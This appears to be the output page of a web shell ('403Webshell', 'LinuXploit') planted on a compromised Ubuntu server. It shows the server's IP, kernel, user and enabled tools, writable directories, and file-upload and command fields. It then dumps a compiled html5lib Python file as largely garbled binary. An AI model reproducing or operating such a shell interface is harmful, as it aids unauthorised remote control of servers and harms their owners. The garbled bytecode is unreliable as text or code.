403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/html5lib/treebuilders/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/html5lib/treebuilders/__pycache__/dom.cpython-312.pyc
�

V=�^�"���ddlmZmZmZ	ddlmZddlm	Z	m
Z
ddlZddlm
Z
ddlmZdd	lmZdd
lmZd�Zee�Zy#e$r	ddlmZY�=wxYw)�)�absolute_import�division�unicode_literals)�MutableMapping)�minidom�NodeN�)�base�)�	constants)�
namespaces)�moduleFactoryFactoryc���������Gd�dt��G��fd�dtj��G����fd�dtj�}d��t	�S)Nc�<�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
�getDomBuilder.<locals>.AttrListc��||_y�N��element��selfrs  �;/usr/lib/python3/dist-packages/html5lib/treebuilders/dom.py�__init__z(getDomBuilder.<locals>.AttrList.__init__s	��"�D�L�c�\�t|jjj��Sr)�iterr�
attributes�keys�rs r�__iter__z(getDomBuilder.<locals>.AttrList.__iter__s ������/�/�4�4�6�7�7rc��t|t�rt�|jjj|�}||_||jj|<yr)�
isinstance�tuple�NotImplementedErrorr�
ownerDocument�createAttribute�valuer)r�namer'�attrs    r�__setitem__z+getDomBuilder.<locals>.AttrList.__setitem__sG���$��&�)�)��|�|�1�1�A�A�$�G��"��
�04����'�'��-rc�@�t|jj�Sr)�lenrrrs r�__len__z'getDomBuilder.<locals>.AttrList.__len__#s���t�|�|�.�.�/�/rc�\�t|jjj��Sr)�listrr�itemsrs rr0z%getDomBuilder.<locals>.AttrList.items&s ������/�/�5�5�7�8�8rc�\�t|jjj��Sr)r/rr�valuesrs rr2z&getDomBuilder.<locals>.AttrList.values)s ������/�/�6�6�8�9�9rc�t�t|t�rt�|jj|j
Sr)r"r#r$rrr'�rr(s  r�__getitem__z+getDomBuilder.<locals>.AttrList.__getitem__,s-���$��&�)�)��|�|�.�.�t�4�:�:�:rc�^�t|t�rt�|jj|=yr)r"r#r$rrr4s  r�__delitem__z+getDomBuilder.<locals>.AttrList.__delitem__2s$���$��&�)�)��L�L�+�+�D�1rN)�__name__�
__module__�__qualname__rr r*r-r0r2r5r7�rr�AttrListrs*��	#�	8�	5�	0�	9�	:�	;�	2rr<c���eZdZd�Zed��Zd�Zdd�Zd�Zd�Z	d�Z
�fd	�Zd
�Zeee�Z
�fd�Zd�Zd
�Zee�Zy)�"getDomBuilder.<locals>.NodeBuilderc�f�tjj||j�||_yr)r
rr�nodeNamerrs  rrz+getDomBuilder.<locals>.NodeBuilder.__init__9s#���I�I���t�W�%5�%5�6�"�D�Lrc�f�t|jd�xr|jjxsdS)N�namespaceURI)�hasattrrrBrs r�<lambda>z+getDomBuilder.<locals>.NodeBuilder.<lambda>=s.��'�$�,�,��*O�+7�!�\�\�6�6�+?�:>�rc�\�||_|jj|j�yr)�parentr�appendChild�r�nodes  rrGz.getDomBuilder.<locals>.NodeBuilder.appendChild@s���D�K��L�L�$�$�T�\�\�2rNc���|jjj|�}|r'|jj||j�y|jj	|�yr)rr%�createTextNode�insertBeforerG)r�datarL�texts    r�
insertTextz-getDomBuilder.<locals>.NodeBuilder.insertTextDsK���<�<�-�-�<�<�T�B�D�����)�)�$��0D�0D�E����(�(��.rc�r�|jj|j|j�||_yr)rrLrF)rrI�refNodes   rrLz/getDomBuilder.<locals>.NodeBuilder.insertBeforeKs%���L�L�%�%�d�l�l�G�O�O�D��D�Krc��|jj|jk(r%|jj|j�d|_yr)r�
parentNode�removeChildrFrHs  rrTz.getDomBuilder.<locals>.NodeBuilder.removeChildOs5���|�|�&�&�$�,�,�6����(�(����6��D�Krc��|jj�rg|jj}|jj|�|jj	|�|jj�r�gg|_yr)r�
hasChildNodes�
firstChildrTrG�
childNodes)r�	newParent�childs   r�reparentChildrenz3getDomBuilder.<locals>.NodeBuilder.reparentChildrenTsb���,�,�,�,�.����/�/�����(�(��/��!�!�-�-�e�4��,�,�,�,�.�!�D�Orc�(���|j�Srr)rr<s �r�
getAttributesz0getDomBuilder.<locals>.NodeBuilder.getAttributes[s����D�L�L�)�)rc��|r�t|j��D]k\}}t|t�r:|d�|ddz|dz}n|d}|jj|d||��P|jj
||��myy)Nr�:r	r)r/r0r"r#r�setAttributeNS�setAttribute)rrr(r'�
qualifiedNames     r�
setAttributesz0getDomBuilder.<locals>.NodeBuilder.setAttributes^s����#'�
�(8�(8�(:�#;�
)�K�D�%�!�$��.���7�.�-1�!�W�s�]�T�!�W�-D�M�,0��G�M����3�3�D��G�]�49�;����1�1� �%�)�
)�rc�F���|jjd��S)NF)r�	cloneNode�r�NodeBuilders �rrez,getDomBuilder.<locals>.NodeBuilder.cloneNodems����t�|�|�5�5�e�<�=�=rc�6�|jj�Sr)rrVrs r�
hasContentz-getDomBuilder.<locals>.NodeBuilder.hasContentps���<�<�-�-�/�/rc�t�|j�td|jfS|j|jfS)N�html)�	namespacer
r(rs r�getNameTuplez/getDomBuilder.<locals>.NodeBuilder.getNameTupless3���~�~�%�!�&�)�4�9�9�4�4��~�~�t�y�y�0�0rr)r8r9r:r�propertyrlrGrOrLrTr[r]rcrrerirm�	nameTuple)r<rgs��rrgr>8sf���	#��?�@�	�	3�	/�	�	�
	!�	*�	)��m�]�;�
�	>�	0�	1��\�*�	rrgc�r��eZdZ�fd�Z��fd�Zd�fd�	Z�fd�Z�fd�Zd�Z�fd�Z	d	�Z
d
�Zdd�ZW�Z
dZy)
�"getDomBuilder.<locals>.TreeBuilderc�z���j�jddd�|_tj|�Sr)�getDOMImplementation�createDocument�dom�weakref�proxy)r�Doms �r�
documentClassz0getDomBuilder.<locals>.TreeBuilder.documentClass|s1����/�/�1�@�@��t�T�R�D�H��=�=��&�&rc����|d}|d}|d}�j�}|j|||�}|jj�|���tk(r|j
|_yy)Nr(�publicId�systemId)rs�createDocumentType�documentrGrrur%)	r�tokenr(r{r|�domimpl�doctyperxrgs	       ��r�
insertDoctypez0getDomBuilder.<locals>.TreeBuilder.insertDoctype�sq�����=�D��Z�(�H��Z�(�H��.�.�0�G��0�0��x��J�G��M�M�%�%�k�'�&:�;��g�~�(,����%�rNc���|�(|j�|jj|�}n|jj||�}�|�Sr)�defaultNamespaceru�
createElement�createElementNS)rr(rlrIrgs    �r�elementClassz/getDomBuilder.<locals>.TreeBuilder.elementClass�sI���� �T�%:�%:�%B��x�x�-�-�d�3���x�x�/�/�	�4�@���t�$�$rc�F���|jj|��Sr)ru�
createComment)rrMrgs  �r�commentClassz/getDomBuilder.<locals>.TreeBuilder.commentClass�s����t�x�x�5�5�d�;�<�<rc�D���|jj��Sr)ru�createDocumentFragmentrfs �r�
fragmentClassz0getDomBuilder.<locals>.TreeBuilder.fragmentClass�s����t�x�x�>�>�@�A�Arc�N�|jj|j�yr)rurGrrHs  rrGz.getDomBuilder.<locals>.TreeBuilder.appendChild�s���H�H� � ����.rc����|�Srr;)rr�testSerializers  �rr�z1getDomBuilder.<locals>.TreeBuilder.testSerializer�s���!�'�*�*rc��|jSr)rurs r�getDocumentz.getDomBuilder.<locals>.TreeBuilder.getDocument�s���8�8�Orc�T�tjj|�jSr)r
�TreeBuilder�getFragmentrrs rr�z.getDomBuilder.<locals>.TreeBuilder.getFragment�s���#�#�/�/��5�=�=�=rc��|}||k7r"tjj|||�yt|jd�r�t
j|jjvrat|jj�|j_|jjjt
j�|jj|jj|��y)N�_child_node_types)r
r�rOrCrur�	TEXT_NODEr�r/�appendrGrK)rrMrFs   rrOz-getDomBuilder.<locals>.TreeBuilder.insertText�s����D���~�� � �+�+�D�$��?��4�8�8�%8�9��~�~�T�X�X�-G�-G�G�59�$�(�(�:T�:T�5U����2����2�2�9�9�$�.�.�I����$�$�T�X�X�%<�%<�T�%B�Crr)r8r9r:ryr�r�r�r�rGr�r�r�rO�implementationr()rx�DomImplementationrgr�s����rr�rq{sC���	'�		1�	%�	=�	B�	/�	+�	�	>�	D�+���rr�c�l���|j�g�d��fd�	��|d�dj��S)Nrc�`��|jtjk(r�|jr�|js|j
rM|jxsd}|j
xsd}�j
dd|z�d|j�d|�d|�d�	��n��j
dd|z�d|j�d���nY�j
dd|z�d	���n?|jtjk(r�j
d
��n|jtjk(r�j
d��n�|jtjk(r'�j
dd|z�d|j�d
���n�|jtjk(r'�j
dd|z�d|j�d���nWt|d�r9|j�-tj|j�d|j ��}n|j }�j
dd|z�d|�d��|j#�r�g}t%t'|j(��D]�}|j(j+|�}|j }|j,}|j}	|	r#tj|	�d|j.��}n|j }|j
||f���t1|�D]%\}}�j
dd|dzz�|�d|�d���'|dz
}|j2D]}
�|
|��
y)N��|� z
<!DOCTYPE z "z" "z">�>z<!DOCTYPE >z	#documentz#document-fragmentz<!-- z -->�"rB�<rz=")�nodeTyper�DOCUMENT_TYPE_NODEr(r{r|r��
DOCUMENT_NODE�DOCUMENT_FRAGMENT_NODE�COMMENT_NODE�	nodeValuer�rCrBr�prefixesr@�
hasAttributes�ranger,r�itemr'�	localName�sortedrX)
r�indentr{r|r(r�ir)r'�nsrZ�rv�serializeElements
           ��rr�z?getDomBuilder.<locals>.testSerializer.<locals>.serializeElement�s�������4�#:�#:�:��<�<��'�'�7�+;�+;�#*�#3�#3�#9�r��#*�#3�#3�#9�r���	�	�#&��<����x��#S�T��	�	��f��g�l�l�"S�T��I�I�#��,�@�A��!�!�T�%7�%7�7��	�	�+�&��!�!�T�%@�%@�@��	�	�.�/��!�!�T�%6�%6�6��	�	�c�F�l�G�<M�<M�N�O��!�!�T�^�^�3��	�	��v��w�7H�7H�I�J��G�^�4��,�,�8�&/�&8�&8��9M�9M�&N�&-�&6�&6�8�D�#�+�+�D��	�	�s�V�|�T�:�;��(�(�*�!#�J�"�3�w�'9�'9�#:�;�	9��&�1�1�6�6�q�9��#�}�}�� $�
�
��!�.�.���.7�.@�.@��.D�d�n�n�#U�D�#'�=�=�D�"�)�)�4��-�8�	9�(.�j�'9�T���e��	�	�#��!��2D�d�E�"R�S�T��a�K�F� �+�+�
0�� ���/�
0r�
)r)�	normalize�join)rr�r�s @@rr�z%getDomBuilder.<locals>.testSerializer�s4�������
��-	0�\	��!�$��y�y��}�r)rr
rr��locals)r�r�r<rxrgr�s` @@@@r�
getDomBuilderr�sO���
�C�"2�>�"2�HA+�d�i�i�A+�F8�8�d�&�&�8�t4�l�8�Or)�
__future__rrr�collections.abcr�ImportError�collections�xml.domrrrvr�r
rr
�_utilsrr��getDomModuler;rr�<module>r�sO��B�B�+�.�"����"�)�Z�|$�M�2���S�+�*�+�s�A�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit